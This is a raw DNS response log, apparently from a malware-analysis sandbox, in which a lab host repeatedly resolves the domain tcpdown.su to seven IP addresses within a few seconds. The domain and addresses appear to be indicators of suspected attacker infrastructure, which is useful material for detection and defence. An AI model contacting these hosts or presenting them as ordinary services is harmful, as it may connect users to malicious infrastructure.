Jan 2, 2025 08:48:29.072567940 CET	1.1.1.1	192.168.2.23	0xe177	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.099173069 CET	1.1.1.1	192.168.2.23	0xd0ee	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.266304970 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:29.287450075 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.834681988 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:30.848429918 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.099989891 CET	1.1.1.1	192.168.2.23	0xa549	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:31.111861944 CET	1.1.1.1	192.168.2.23	0x3fb3	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.384957075 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.398092031 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.964978933 CET	1.1.1.1	192.168.2.23	0xd13f	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:32.978450060 CET	1.1.1.1	192.168.2.23	0xd9d9	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.080043077 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.090591908 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.938371897 CET	1.1.1.1	192.168.2.23	0xbc17	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:34.949153900 CET	1.1.1.1	192.168.2.23	0xb1aa	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.935836077 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:35.945444107 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.600090981 CET	1.1.1.1	192.168.2.23	0x7afe	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:36.610769033 CET	1.1.1.1	192.168.2.23	0x7411	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.600805998 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:37.611291885 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.148828983 CET	1.1.1.1	192.168.2.23	0xf3d5	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:38.159310102 CET	1.1.1.1	192.168.2.23	0x6597	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.181376934 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.191131115 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
